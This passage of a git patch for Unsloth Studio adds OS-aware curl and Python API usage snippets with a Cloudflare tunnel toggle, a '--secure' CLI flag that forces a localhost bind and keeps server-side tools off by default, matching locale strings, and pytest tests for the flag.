-for chunk in response:
-    print(chunk.choices[0].delta.content or "", end="")`,
-    tools: `curl ${base}/v1/chat/completions \\
-  -H "Authorization: Bearer sk-unsloth-YOUR_KEY" \\
-  -H "Content-Type: application/json" \\
-  -d '{
-    "messages": [{"role": "user", "content": "Search Python 3.13 features"}],
-    "enable_tools": true,
-    "enabled_tools": ["web_search", "python"],
-    "stream": true
-  }'`,
+${loop}`;
+}
+
+function buildSnippets(
+  base: string,
+  key: string,
+  model: string,
+  os: Os,
+): Record<ExampleType, string> {
+  const curl = os === "windows" ? curlWindows : curlUnix;
+  return {
+    curl: curl(base, key, model, "plain"),
+    python: pythonSnippet(base, key, model, "plain"),
+    curlTools: curl(base, key, model, "tools"),
+    pythonTools: pythonSnippet(base, key, model, "tools"),
+    curlAdvanced: curl(base, key, model, "advanced"),
+    pythonAdvanced: pythonSnippet(base, key, model, "advanced"),
   };
 }
 
-export function UsageExamples() {
-  const t = useT();
-  const [lang, setLang] = useState<Lang>("curl");
-  const [copied, setCopied] = useState(false);
-  const snippets = useMemo(
-    () =>
-      buildSnippets(
-        typeof window !== "undefined" ? window.location.origin : "",
-      ),
-    [],
+const KEY_PLACEHOLDER = "sk-unsloth-YOUR_KEY";
+const MODEL_FALLBACK = "unsloth/gemma-4-E4B-it-GGUF:UD-Q5_K_XL";
+
+// Default ON: when a tunnel exists, examples should show the public base_url.
+const USE_TUNNEL_KEY = "unsloth_api_use_tunnel";
+
+function readUseTunnelPref(): boolean {
+  if (typeof window === "undefined") return true;
+  try {
+    return window.localStorage.getItem(USE_TUNNEL_KEY) !== "false";
+  } catch {
+    return true;
+  }
+}
+
+function writeUseTunnelPref(value: boolean): void {
+  if (typeof window === "undefined") return;
+  try {
+    window.localStorage.setItem(USE_TUNNEL_KEY, value ? "true" : "false");
+  } catch {
+    // Non-fatal: the toggle still applies for this session.
+  }
+}
+
+// Active local checkpoint as repo[:variant]; external/none falls back to a default.
+function useLoadedModelName(): string {
+  const checkpoint = useChatRuntimeStore((s) => s.params.checkpoint);
+  const ggufVariant = useChatRuntimeStore((s) => s.activeGgufVariant);
+  return useMemo(() => {
+    if (!checkpoint || checkpoint.startsWith("external::")) {
+      return MODEL_FALLBACK;
+    }
+    if (ggufVariant && !checkpoint.includes(":")) {
+      return `${checkpoint}:${ggufVariant}`;
+    }
+    return checkpoint;
+  }, [checkpoint, ggufVariant]);
+}
+
+// shiki highlighting via the app's shared code plugin + themes (same as chat).
+const SHIKI_THEMES = [unslothLightTheme, unslothDarkTheme] as [
+  typeof unslothLightTheme,
+  typeof unslothDarkTheme,
+];
+const codePlugin = createCodePlugin({ themes: SHIKI_THEMES });
+
+function HighlightedCode({
+  code,
+  language,
+}: {
+  code: string;
+  language: string;
+}) {
+  // Fence so Streamdown's shiki plugin highlights it (no markdown inside a fence).
+  const markdown = useMemo(
+    () => `\`\`\`${language}\n${code}\n\`\`\``,
+    [code, language],
   );
+  return (
+    <div className="max-w-full overflow-x-auto p-3 pr-16 text-[11px] leading-relaxed [&_pre]:!m-0 [&_pre]:!whitespace-pre-wrap [&_pre]:!break-words [&_pre]:!border-0 [&_pre]:!bg-transparent [&_pre]:!p-0 [&_[data-streamdown=code-block]]:!my-0 [&_[data-streamdown=code-block]]:!border-0 [&_[data-streamdown=code-block]]:!bg-transparent [&_[data-streamdown=code-block]]:!p-0">
+      <Streamdown
+        mode="static"
+        plugins={{ code: codePlugin }}
+        controls={{ code: false }}
+        shikiTheme={SHIKI_THEMES}
+      >
+        {markdown}
+      </Streamdown>
+    </div>
+  );
+}
+
+export function UsageExamples({ apiKey }: { apiKey?: string | null }) {
+  const t = useT();
+  const deviceType = usePlatformStore((s) => s.deviceType);
+  const cloudflareUrl = usePlatformStore((s) => s.cloudflareUrl);
+  const serverUrl = usePlatformStore((s) => s.serverUrl);
+  const secure = usePlatformStore((s) => s.secure);
+  const [lang, setLang] = useState<ExampleType>("curl");
+  const [os, setOs] = useState<Os>(
+    deviceType === "windows" ? "windows" : "unix",
+  );
+  const [copied, setCopied] = useState(false);
+  const [copiedUrl, setCopiedUrl] = useState(false);
+  const [useTunnel, setUseTunnel] = useState<boolean>(readUseTunnelPref);
+
+  // Tunnel may start after the first /api/health read; refresh so it surfaces here.
+  useEffect(() => {
+    void fetchDeviceType({ force: true });
+  }, []);
+
+  const model = useLoadedModelName();
+  // Real key while revealed (before "Done"); otherwise a placeholder.
+  const key = apiKey || KEY_PLACEHOLDER;
+  // Toggle on + tunnel up: public tunnel URL. Off: backend direct host:port
+  // (origin is only a last-resort fallback).
+  const origin = typeof window !== "undefined" ? window.location.origin : "";
+  const base =
+    useTunnel && cloudflareUrl ? cloudflareUrl : (serverUrl ?? origin);
+
+  const snippets = useMemo(
+    () => buildSnippets(base, key, model, os),
+    [base, key, model, os],
+  );
+
+  const osAware = OS_AWARE[lang];
+  const shikiLang = CURL_TYPES.has(lang)
+    ? os === "windows"
+      ? "powershell"
+      : "bash"
+    : "python";
 
   const handleCopy = async () => {
     if (await copyToClipboard(snippets[lang])) {
@@ -97,16 +380,86 @@ export function UsageExamples() {
     }
   };
 
+  const handleToggleTunnel = (next: boolean) => {
+    setUseTunnel(next);
+    writeUseTunnelPref(next);
+  };
+
+  const handleCopyUrl = async () => {
+    if (cloudflareUrl && (await copyToClipboard(cloudflareUrl))) {
+      setCopiedUrl(true);
+      setTimeout(() => setCopiedUrl(false), 1800);
+    }
+  };
+
   return (
     <section className="flex min-w-0 max-w-full flex-col">
       <h2 className="mb-2 text-sm font-semibold text-foreground">
         {t("settings.apiKeys.usageExamples")}
       </h2>
       <div className="min-w-0 max-w-full overflow-hidden rounded-lg border border-border bg-muted/20">
+        {cloudflareUrl ? (
+          <div className="flex min-w-0 items-center justify-between gap-2 border-b border-border px-2 py-1.5">
+            <div className="flex shrink-0 items-center gap-1.5">
+              <Switch
+                size="sm"
+                checked={useTunnel}
+                onCheckedChange={handleToggleTunnel}
+                aria-label={t("settings.apiKeys.secureHttps")}
+              />
+              <span className="text-[11px] font-medium text-foreground">
+                {t("settings.apiKeys.secureHttps")}
+              </span>
+              {/* Only when not launched with --secure: the raw 0.0.0.0 port is
+                  still globally reachable, so point the user at --secure. */}
+              {!secure ? (
+                <Tooltip>
+                  <TooltipTrigger asChild>
+                    <button
+                      type="button"
+                      className="flex items-center rounded text-muted-foreground transition-colors hover:text-foreground focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
+                      aria-label={t("settings.apiKeys.secureHttpsHint")}
+                    >
+                      <HugeiconsIcon
+                        icon={InformationCircleIcon}
+                        className="size-3.5"
+                      />
+                    </button>
+                  </TooltipTrigger>
+                  <TooltipContent className="max-w-[260px] text-[11px] leading-snug">
+                    {t("settings.apiKeys.secureHttpsHint")}
+                  </TooltipContent>
+                </Tooltip>
+              ) : null}
+            </div>
+            {/* Always rendered (dimmed when off) so toggling never changes the
+                row height and shifts the code block below. */}
+            <button
+              type="button"
+              onClick={handleCopyUrl}
+              className={cn(
+                "flex min-w-0 items-center gap-1 rounded px-1.5 py-1 text-[11px] text-muted-foreground transition-colors hover:text-foreground focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring",
+                !useTunnel && "opacity-50",
+              )}
+              title={cloudflareUrl}
+              aria-label={t("settings.apiKeys.copyTunnelUrl")}
+            >
+              <span className="truncate font-mono">{cloudflareUrl}</span>
+              <HugeiconsIcon
+                icon={copiedUrl ? Tick02Icon : Copy01Icon}
+                className={cn(
+                  "size-3.5 shrink-0",
+                  copiedUrl && "text-emerald-600",
+                )}
+              />
+            </button>
+          </div>
+        ) : null}
         <div className="flex min-w-0 items-center justify-between gap-2 border-b border-border px-2 py-1.5">
-          <div className="flex min-w-0 items-center gap-0.5">
-            {TABS.map((tab) => {
+          <div className="flex min-w-0 flex-wrap items-center gap-0.5">
+            {TYPE_TABS.map((tab) => {
               const active = lang === tab.id;
+              const labelKey = TYPE_LABEL_KEY[tab.id];
               return (
                 <button
                   key={tab.id}
@@ -120,17 +473,47 @@ export function UsageExamples() {
                       : "text-muted-foreground hover:text-foreground",
                   )}
                 >
-                  {tab.id === "tools"
-                    ? t("settings.apiKeys.usageTools")
-                    : tab.label}
+                  {labelKey ? t(labelKey) : tab.label}
                 </button>
               );
             })}
           </div>
+        </div>
+        {osAware ? (
+          <div className="flex min-w-0 items-center gap-0.5 border-b border-border px-2 py-1.5">
+            <button
+              type="button"
+              onClick={() => setOs("unix")}
+              aria-pressed={os === "unix"}
+              className={cn(
+                "rounded-full px-2.5 py-1 text-[11px] font-medium transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring",
+                os === "unix"
+                  ? "bg-foreground/[0.08] text-foreground dark:bg-white/[0.12]"
+                  : "text-muted-foreground hover:text-foreground",
+              )}
+            >
+              {t("settings.apiKeys.osUnix")}
+            </button>
+            <button
+              type="button"
+              onClick={() => setOs("windows")}
+              aria-pressed={os === "windows"}
+              className={cn(
+                "rounded-full px-2.5 py-1 text-[11px] font-medium transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring",
+                os === "windows"
+                  ? "bg-foreground/[0.08] text-foreground dark:bg-white/[0.12]"
+                  : "text-muted-foreground hover:text-foreground",
+              )}
+            >
+              {t("settings.apiKeys.osWindows")}
+            </button>
+          </div>
+        ) : null}
+        <div className="relative min-w-0">
           <button
             type="button"
             onClick={handleCopy}
-            className="flex items-center gap-1 rounded px-1.5 py-1 text-[11px] text-muted-foreground transition-colors hover:text-foreground focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
+            className="absolute right-2 top-2 z-10 flex items-center gap-1 rounded border border-border bg-background/80 px-1.5 py-1 text-[11px] text-muted-foreground backdrop-blur transition-colors hover:text-foreground focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
             aria-label={t("settings.apiKeys.copySnippet")}
           >
             <HugeiconsIcon
@@ -139,10 +522,15 @@ export function UsageExamples() {
             />
             {copied ? t("settings.apiKeys.copied") : t("settings.apiKeys.copy")}
           </button>
+          {/* key on the snippet so Streamdown remounts and re-highlights when
+              only a substring (e.g. the base URL) changes; its block memo
+              otherwise keeps the stale render. */}
+          <HighlightedCode
+            key={snippets[lang]}
+            code={snippets[lang]}
+            language={shikiLang}
+          />
         </div>
-        <pre className="max-w-full overflow-x-auto whitespace-pre-wrap break-words p-3 font-mono text-[11px] leading-relaxed text-foreground">
-          {snippets[lang]}
-        </pre>
         <div className="flex flex-wrap items-center gap-x-2 gap-y-1 border-t border-border px-3 py-2 text-[11px] text-muted-foreground">
           <span>{t("settings.apiKeys.setupDocs")}</span>
           {DOC_LINKS.map((link) => (
diff --git a/studio/frontend/src/features/settings/tabs/api-keys-tab.tsx b/studio/frontend/src/features/settings/tabs/api-keys-tab.tsx
index d490d6b23a..64f3ef6621 100644
--- a/studio/frontend/src/features/settings/tabs/api-keys-tab.tsx
+++ b/studio/frontend/src/features/settings/tabs/api-keys-tab.tsx
@@ -166,7 +166,7 @@ export function ApiKeysTab() {
         )}
       </section>
 
-      <UsageExamples />
+      <UsageExamples apiKey={revealed} />
 
       <Dialog open={revokeTarget !== null} onOpenChange={(o) => !o && setRevokeTarget(null)}>
         <DialogContent className="max-w-md">
diff --git a/studio/frontend/src/i18n/locales/en.ts b/studio/frontend/src/i18n/locales/en.ts
index 41964d9475..8998322ced 100644
--- a/studio/frontend/src/i18n/locales/en.ts
+++ b/studio/frontend/src/i18n/locales/en.ts
@@ -288,6 +288,16 @@ export const en = {
       copyNow: "Copy now - this won't be shown again.",
       usageExamples: "Usage examples",
       usageTools: "Tools",
+      exampleCurlTools: "curl + tools",
+      examplePythonTools: "Python + tools",
+      exampleCurlAdvanced: "curl + advanced",
+      examplePythonAdvanced: "Python + advanced",
+      osUnix: "Linux / macOS / WSL",
+      osWindows: "Windows",
+      secureHttps: "Secure HTTPS",
+      secureHttpsHint:
+        "The 0.0.0.0 port is still reachable globally. For full security, launch Unsloth Studio with --secure to expose only this HTTPS link.",
+      copyTunnelUrl: "Copy tunnel URL",
       copySnippet: "Copy snippet",
       copy: "Copy",
       copied: "Copied",
diff --git a/studio/frontend/src/i18n/locales/zh-CN.ts b/studio/frontend/src/i18n/locales/zh-CN.ts
index e7e377564e..9141a4c104 100644
--- a/studio/frontend/src/i18n/locales/zh-CN.ts
+++ b/studio/frontend/src/i18n/locales/zh-CN.ts
@@ -261,6 +261,16 @@ export const zhCN = {
       copyNow: "现在复制 - 之后不会再次显示。",
       usageExamples: "使用示例",
       usageTools: "工具",
+      exampleCurlTools: "curl + 工具",
+      examplePythonTools: "Python + 工具",
+      exampleCurlAdvanced: "curl + 高级",
+      examplePythonAdvanced: "Python + 高级",
+      osUnix: "Linux / macOS / WSL",
+      osWindows: "Windows",
+      secureHttps: "安全 HTTPS",
+      secureHttpsHint:
+        "0.0.0.0 端口仍可被全网访问。如需完全安全，请使用 --secure 启动 Unsloth Studio，仅暴露此 HTTPS 链接。",
+      copyTunnelUrl: "复制隧道链接",
       copySnippet: "复制代码片段",
       copy: "复制",
       copied: "已复制",
diff --git a/unsloth_cli/commands/studio.py b/unsloth_cli/commands/studio.py
index 400625363c..69df81acad 100644
--- a/unsloth_cli/commands/studio.py
+++ b/unsloth_cli/commands/studio.py
@@ -661,6 +661,13 @@ def studio_default(
         "--cloudflare/--no-cloudflare",
         help = "Auto-create a free Cloudflare HTTPS tunnel when bound to 0.0.0.0 (default on).",
     ),
+    secure: bool = typer.Option(
+        False,
+        "--secure/--not-secure",
+        help = "Expose ONLY a Cloudflare HTTPS link: bind localhost and fail closed "
+        "if the tunnel can't start. Without it, --not-secure also serves the raw "
+        "0.0.0.0 port, which is reachable from anywhere on the network.",
+    ),
 ):
     """Launch the Unsloth Studio server."""
     # Runs before every subcommand (run/setup/update/...).
@@ -688,8 +695,29 @@ def studio_default(
                 err = True,
             )
             raise typer.Exit(2)
+        # Same for --secure: it would not reach the subcommand.
+        if secure:
+            typer.echo(
+                f"Error: --secure on `unsloth studio` applies to the "
+                f"plain-server path only. For `unsloth studio "
+                f"{ctx.invoked_subcommand}`, put it after the subcommand: "
+                f"`unsloth studio {ctx.invoked_subcommand} --secure ...`",
+                err = True,
+            )
+            raise typer.Exit(2)
         return
 
+    # --secure requires the tunnel; force a loopback bind.
+    if secure:
+        if not cloudflare:
+            typer.echo(
+                "Error: --secure requires the Cloudflare tunnel; do not combine it "
+                "with --no-cloudflare.",
+                err = True,
+            )
+            raise typer.Exit(2)
+        host = "127.0.0.1"
+
     # Use the studio venv if it exists and we aren't already in it.
     studio_venv_dir = STUDIO_HOME / "unsloth_studio"
     in_studio_venv = sys.prefix.startswith(str(studio_venv_dir))
@@ -724,6 +752,7 @@ def studio_default(
                 args.append("--api-only")
             # Forward the explicit polarity (matches run.py's BooleanOptionalAction).
             args.append("--cloudflare" if cloudflare else "--no-cloudflare")
+            args.append("--secure" if secure else "--not-secure")
             # On Windows os.execvp keeps the parent alive, so Ctrl+C
             # would orphan the child; use Popen+wait instead.
             if sys.platform == "win32":
@@ -766,6 +795,7 @@ def studio_default(
         api_only = api_only,
         llama_parallel_slots = parallel,
         cloudflare = cloudflare,
+        secure = secure,
     )
     if frontend is not None:
         run_kwargs["frontend_path"] = frontend
@@ -943,6 +973,13 @@ def run(
         "--cloudflare/--no-cloudflare",
         help = "Auto-create a free Cloudflare HTTPS tunnel when bound to 0.0.0.0 (default on).",
     ),
+    secure: bool = typer.Option(
+        False,
+        "--secure/--not-secure",
+        help = "Expose ONLY a Cloudflare HTTPS link: bind localhost and fail closed "
+        "if the tunnel can't start. Without it, --not-secure also serves the raw "
+        "0.0.0.0 port, which is reachable from anywhere on the network.",
+    ),
     tensor_parallel: bool = typer.Option(
         False,
         "--tensor-parallel/--no-tensor-parallel",
@@ -1011,12 +1048,27 @@ def run(
         model = parsed_repo
         gguf_variant = gguf_variant or embedded_variant
 
+    # --secure requires the tunnel; force a loopback bind so the raw port is never public.
+    if secure:
+        if not cloudflare:
+            typer.echo(
+                "Error: --secure requires the Cloudflare tunnel; do not combine it "
+                "with --no-cloudflare.",
+                err = True,
+            )
+            raise typer.Exit(2)
+        host = "127.0.0.1"
+
+    # Gate tools on the *public* exposure: --secure is public via the tunnel, so
+    # tools default off even though the bind is loopback.
+    tool_policy_host = "0.0.0.0" if secure else host
+
     # Resolve tool policy here so the re-exec'd child inherits a
     # concrete decision and never re-prompts.
     from unsloth_cli._tool_policy import is_external_host, resolve_tool_policy
 
     enable_tools = resolve_tool_policy(
-        host = host,
+        host = tool_policy_host,
         flag = enable_tools,
         yes = yes,
         silent = silent,
@@ -1065,15 +1117,15 @@ def run(
             args.append("--enable-tools")
         else:
             args.append("--disable-tools")
-        # Forward --yes if the parent already cleared the network-bind
-        # prompt, else the child re-prompts.
-        if yes or (enable_tools and is_external_host(host)):
+        # Forward --yes if the parent already cleared the network-bind prompt.
+        if yes or (enable_tools and is_external_host(tool_policy_host)):
             args.append("--yes")
         # Typer claims --parallel outside ctx.args; without this the
         # child reverts to its default and silently drops the value.
         args.extend(["--parallel", str(parallel)])
         # Forward the explicit polarity (same rationale as --load-in-4bit above).
         args.append("--cloudflare" if cloudflare else "--no-cloudflare")
+        args.append("--secure" if secure else "--not-secure")
         args.append("--tensor-parallel" if tensor_parallel else "--no-tensor-parallel")
         # llama-server pass-through extras → child ctx.args → load payload.
         if extra_llama_args:
@@ -1106,6 +1158,7 @@ def run(
         silent = True,
         llama_parallel_slots = parallel,
         cloudflare = cloudflare,
+        secure = secure,
     )
     if frontend is not None:
         run_kwargs["frontend_path"] = frontend
@@ -1157,22 +1210,26 @@ def run(
     display_host = run_mod._resolve_external_ip() if host == "0.0.0.0" else host
     base_url = f"http://{display_host}:{actual_port}"
     sdk_base_url = f"{base_url}/v1"
-    # run_server started the tunnel during the silent run above (0.0.0.0 only).
+    # run_server started the tunnel during the silent run above (0.0.0.0 or --secure).
     _cf_url = getattr(app.state, "cloudflare_url", None)
+    # --secure: examples must use the public tunnel URL, not the loopback address.
+    if secure and _cf_url:
+        sdk_base_url = f"{_cf_url}/v1"
 
     # Orange so the tool-policy notice stands out; printed under
     # --silent / --yes too so the policy is never invisible.
     _tool_notice_fg = (217, 119, 87)
-    _is_external = is_external_host(host)
+    _is_external = is_external_host(tool_policy_host)
+    _exposure = "the public Cloudflare tunnel" if secure else host
     if _is_external and enable_tools:
         _tool_notice = (
-            f"Server-side tools are ENABLED on {host} (network-reachable). "
+            f"Server-side tools are ENABLED on {_exposure} (network-reachable). "
             f"Anyone with the API key can run code on this machine. "
             f"Do not share the API key."
         )
     elif _is_external:
         _tool_notice = (
-            f"Server-side tools are disabled by default on {host} "
+            f"Server-side tools are disabled by default on {_exposure} "
             f"(network-reachable). Pass --enable-tools to turn on "
             f"(you will be warned about API-key risk)."
         )
@@ -1187,9 +1244,13 @@ def run(
     if not silent:
         typer.echo("")
         typer.echo("=" * 56)
-        typer.echo(f"  Unsloth Studio running at {base_url}")
-        if _cf_url:
-            typer.echo(f"  Secure link access via Cloudflare: {_cf_url}")
+        if secure and _cf_url:
+            typer.echo(f"  Unsloth Studio running (secure) at {_cf_url}")
+            typer.echo(f"  On this machine only: {base_url}")
+        else:
+            typer.echo(f"  Unsloth Studio running at {base_url}")
+            if _cf_url:
+                typer.echo(f"  Secure link access via Cloudflare: {_cf_url}")
         typer.echo(f"  Model loaded: {loaded_model}{display_variant}")
         if context_length_line:
             typer.echo(context_length_line)
@@ -1224,9 +1285,13 @@ def run(
         typer.echo("")
     else:
         # Silent still prints URL + API key + tool-status policy.
-        typer.echo(f"URL:     {base_url}")
-        if _cf_url:
-            typer.echo(f"Secure link access via Cloudflare: {_cf_url}")
+        if secure and _cf_url:
+            typer.echo(f"URL:     {_cf_url}")
+            typer.echo(f"Local:   {base_url}")
+        else:
+            typer.echo(f"URL:     {base_url}")
+            if _cf_url:
+                typer.echo(f"Secure link access via Cloudflare: {_cf_url}")
         if context_length_line:
             typer.echo(context_length_line.strip())
         typer.echo(f"API Key: {api_key}")
diff --git a/unsloth_cli/tests/test_studio_secure_flag.py b/unsloth_cli/tests/test_studio_secure_flag.py
new file mode 100644
index 0000000000..2c6f1ebf9e
--- /dev/null
+++ b/unsloth_cli/tests/test_studio_secure_flag.py
@@ -0,0 +1,294 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Tests for the `--secure/--not-secure` Studio flag: option registration,
+re-exec/run_server forwarding, the forced 127.0.0.1 bind, and rejection
+alongside --no-cloudflare or before a subcommand. Modeled on
+test_studio_cloudflare_flag.py."""
+
+from __future__ import annotations
+
+import sys
+from pathlib import Path
+
+import pytest
+from typer.testing import CliRunner
+
+_REPO_ROOT = Path(__file__).resolve().parents[2]
+if str(_REPO_ROOT) not in sys.path:
+    sys.path.insert(0, str(_REPO_ROOT))
+
+
+def _studio():
+    from unsloth_cli.commands import studio as _studio_mod
+    return _studio_mod
+
+
+_BASE = ["--model", "unsloth/Qwen3-1.7B-GGUF"]
+
+
+# ── option registration ──────────────────────────────────────────────
+
+
+def test_run_exposes_secure_option_default_off():
+    import inspect
+
+    opt = inspect.signature(_studio().run).parameters["secure"].default
+    decls = set(getattr(opt, "param_decls", []) or [])
+    assert "--secure/--not-secure" in decls
+    assert getattr(opt, "default", None) is False
+
+
+def test_studio_default_exposes_secure_option_default_off():
+    import inspect
+
+    opt = inspect.signature(_studio().studio_default).parameters["secure"].default
+    decls = set(getattr(opt, "param_decls", []) or [])
+    assert "--secure/--not-secure" in decls
+    assert getattr(opt, "default", None) is False
+
+
+# ── re-exec capture plumbing (mirrors test_studio_cloudflare_flag.py) ─
+
+
+class _ExecCaptured(SystemExit):
+    def __init__(self, argv):
+        super().__init__(0)
+        self.argv = list(argv)
+
+
+def _install_run_reexec_capture(monkeypatch):
+    studio_mod = _studio()
+    captured = []
+    monkeypatch.setattr(sys, "prefix", "/nonexistent/outer/venv")
+    fake_venv = Path("/fake/studio/venv/unsloth_studio")
+    monkeypatch.setattr(studio_mod, "_studio_venv_python", lambda: fake_venv / "bin" / "python")
+    fake_bin = fake_venv / "bin" / "unsloth"
+    real_is_file = Path.is_file
+    monkeypatch.setattr(
+        Path,
+        "is_file",
+        lambda self: True if str(self) == str(fake_bin) else real_is_file(self),
+    )
+    from unsloth_cli import _tool_policy as _tp_mod
+
+    monkeypatch.setattr(
+        _tp_mod,
+        "resolve_tool_policy",
+        lambda host, flag, yes, silent: False if flag is None else bool(flag),
+    )
+    monkeypatch.setattr(sys, "platform", "linux")
+
+    def fake_execvp(file, argv):
+        captured.append(list(argv))
+        raise _ExecCaptured(argv)
+
+    monkeypatch.setattr(studio_mod.os, "execvp", fake_execvp)
+    return captured
+
+
+def _invoke_run(monkeypatch, args):
+    import typer as _typer
+
+    captured = _install_run_reexec_capture(monkeypatch)
+    app = _typer.Typer()
+    app.command(
+        context_settings = {"allow_extra_args": True, "ignore_unknown_options": True},
+    )(_studio().run)
+    CliRunner().invoke(app, args, catch_exceptions = True)
+    return captured
+
+
+def _invoke_studio_default(monkeypatch, args):
+    import typer as _typer
+
+    studio_mod = _studio()
+    captured = []
+    monkeypatch.setattr(sys, "prefix", "/nonexistent/outer/venv")
+    monkeypatch.setattr(studio_mod, "_ensure_studio_env_exported", lambda: None)
+    fake_venv = Path("/fake/studio/venv/unsloth_studio")
+    monkeypatch.setattr(studio_mod, "_studio_venv_python", lambda: fake_venv / "bin" / "python")
+    monkeypatch.setattr(studio_mod, "_find_run_py", lambda: Path("/fake/studio/run.py"))
+    monkeypatch.setattr(studio_mod, "_find_frontend_dist", lambda: None)
+    monkeypatch.setattr(sys, "platform", "linux")
+
+    def fake_execvp(file, argv):
+        captured.append(list(argv))
+        raise _ExecCaptured(argv)
+
+    monkeypatch.setattr(studio_mod.os, "execvp", fake_execvp)
+    app = _typer.Typer()
+    app.command()(studio_mod.studio_default)
+    CliRunner().invoke(app, args, catch_exceptions = True)
+    return captured
+
+
+# ── re-exec forwarding ────────────────────────────────────────────────
+
+
+@pytest.mark.parametrize(
+    "user_flag,expected,unexpected",
+    [
+        (None, "--not-secure", "--secure"),  # default off
+        ("--secure", "--secure", "--not-secure"),
+        ("--not-secure", "--not-secure", "--secure"),
+    ],
+)
+def test_run_reexec_forwards_secure_polarity(monkeypatch, user_flag, expected, unexpected):
+    extras = [user_flag] if user_flag else []
+    captured = _invoke_run(monkeypatch, _BASE + extras)
+    assert len(captured) == 1, captured
+    argv = captured[0]
+    assert expected in argv and unexpected not in argv, argv
+
+
+def test_run_secure_forces_localhost_in_reexec(monkeypatch):
+    # `unsloth studio run -H 0.0.0.0 --secure` must re-exec with --host 127.0.0.1.
+    captured = _invoke_run(monkeypatch, _BASE + ["-H", "0.0.0.0", "--secure"])
+    assert len(captured) == 1, captured
+    argv = captured[0]
+    assert "--secure" in argv
+    assert argv[argv.index("--host") + 1] == "127.0.0.1", argv
+
+
+def test_studio_default_reexec_forwards_secure(monkeypatch):
+    captured = _invoke_studio_default(monkeypatch, ["-H", "0.0.0.0", "--secure"])
+    assert len(captured) == 1, captured
+    argv = captured[0]
+    assert "--secure" in argv
+    # studio_default also forces the loopback bind under --secure.
+    assert argv[argv.index("--host") + 1] == "127.0.0.1", argv
+
+
+# ── in-venv path forwards secure + forced host into run_server ────────
+
+
+class _RunServerCaptured(SystemExit):
+    def __init__(self, kwargs):
+        super().__init__(0)
+        self.kwargs = dict(kwargs)
+
+
+def test_run_in_venv_passes_secure_and_forces_host(monkeypatch):
+    import types
+
+    studio_mod = _studio()
+    fake_venv = Path("/fake/studio/venv/unsloth_studio")
+    monkeypatch.setattr(sys, "prefix", str(fake_venv))
+    monkeypatch.setattr(studio_mod, "STUDIO_HOME", fake_venv.parent)
+
+    from unsloth_cli import _tool_policy as _tp_mod
+
+    monkeypatch.setattr(
+        _tp_mod,
+        "resolve_tool_policy",
+        lambda host, flag, yes, silent: False if flag is None else bool(flag),
+    )
+
+    captured: dict = {}
+
+    def fake_run_server(**kwargs):
+        captured.update(kwargs)
+        raise _RunServerCaptured(kwargs)
+
+    fake_backend_run = sys.modules.setdefault(
+        "studio.backend.run", types.ModuleType("studio.backend.run")
+    )
+    fake_backend_run.run_server = fake_run_server
+    fake_backend_run._resolve_external_ip = lambda: "127.0.0.1"
+    monkeypatch.setattr(studio_mod, "_RUN_MODULE", fake_backend_run)
+
+    import typer as _typer
+
+    app = _typer.Typer()
+    app.command(
+        context_settings = {"allow_extra_args": True, "ignore_unknown_options": True},
+    )(studio_mod.run)
+    CliRunner().invoke(app, _BASE + ["-H", "0.0.0.0", "--secure"], catch_exceptions = True)
+
+    assert captured.get("secure") is True, captured
+    assert captured.get("host") == "127.0.0.1", captured
+
+
+# ── --secure + --no-cloudflare is rejected ───────────────────────────
+
+
+def test_run_secure_rejects_no_cloudflare(monkeypatch):
+    studio_mod = _studio()
+    import typer as _typer
+
+    app = _typer.Typer()
+    app.command(
+        context_settings = {"allow_extra_args": True, "ignore_unknown_options": True},
+    )(studio_mod.run)
+    result = CliRunner().invoke(app, _BASE + ["--secure", "--no-cloudflare"])
+    assert result.exit_code == 2, result.output
+
+
+def test_studio_default_rejects_secure_with_subcommand():
+    import typer as _typer
+
+    studio_mod = _studio()
+    app = _typer.Typer()
+    app.add_typer(studio_mod.studio_app, name = "studio")
+    result = CliRunner().invoke(app, ["studio", "--secure", "run", "--model", "X"])
+    assert result.exit_code == 2, result.output
+    combined = (result.output or "") + (getattr(result, "stderr", "") or "")
+    assert "--secure" in combined, combined
+
+
+# ── secure resolves tools against the PUBLIC exposure, not the loopback bind ──
+
+
+def test_run_secure_resolves_tools_against_public_host(monkeypatch):
+    # --secure is public via the tunnel, so tools resolve against 0.0.0.0 (OFF), not loopback (ON).
+    studio_mod = _studio()
+    monkeypatch.setattr(sys, "prefix", "/nonexistent/outer/venv")
+    fake_venv = Path("/fake/studio/venv/unsloth_studio")
+    monkeypatch.setattr(studio_mod, "_studio_venv_python", lambda: fake_venv / "bin" / "python")
+    fake_bin = fake_venv / "bin" / "unsloth"
+    real_is_file = Path.is_file
+    monkeypatch.setattr(
+        Path,
+        "is_file",
+        lambda self: True if str(self) == str(fake_bin) else real_is_file(self),
+    )
+    monkeypatch.setattr(sys, "platform", "linux")
+
+    from unsloth_cli import _tool_policy as _tp_mod
+
+    calls = []
+
+    def rec(host, flag, yes, silent):
+        calls.append(host)
+        return (not _tp_mod.is_external_host(host)) if flag is None else bool(flag)
+
+    monkeypatch.setattr(_tp_mod, "resolve_tool_policy", rec)
+
+    captured = []
+
+    def fake_execvp(file, argv):
+        captured.append(list(argv))
+        raise _ExecCaptured(argv)
+
+    monkeypatch.setattr(studio_mod.os, "execvp", fake_execvp)
+
+    import typer as _typer
+
+    app = _typer.Typer()
+    app.command(
+        context_settings = {"allow_extra_args": True, "ignore_unknown_options": True},
+    )(studio_mod.run)
+    CliRunner().invoke(app, _BASE + ["-H", "0.0.0.0", "--secure"], catch_exceptions = True)
+
+    assert calls and calls[0] == "0.0.0.0", calls
+    assert len(captured) == 1, captured
+    assert "--disable-tools" in captured[0] and "--enable-tools" not in captured[0], captured[0]
+
+
+def test_run_secure_enable_tools_forwards_yes(monkeypatch):
+    # Enabling tools on a secure endpoint forwards --yes so the child doesn't re-prompt.
+    captured = _invoke_run(monkeypatch, _BASE + ["-H", "0.0.0.0", "--secure", "--enable-tools"])
+    assert len(captured) == 1, captured
+    argv = captured[0]
+    assert "--enable-tools" in argv and "--yes" in argv, argv

From 6c919bba8256f4b7ac7e60b883c15d9073f6f52d Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
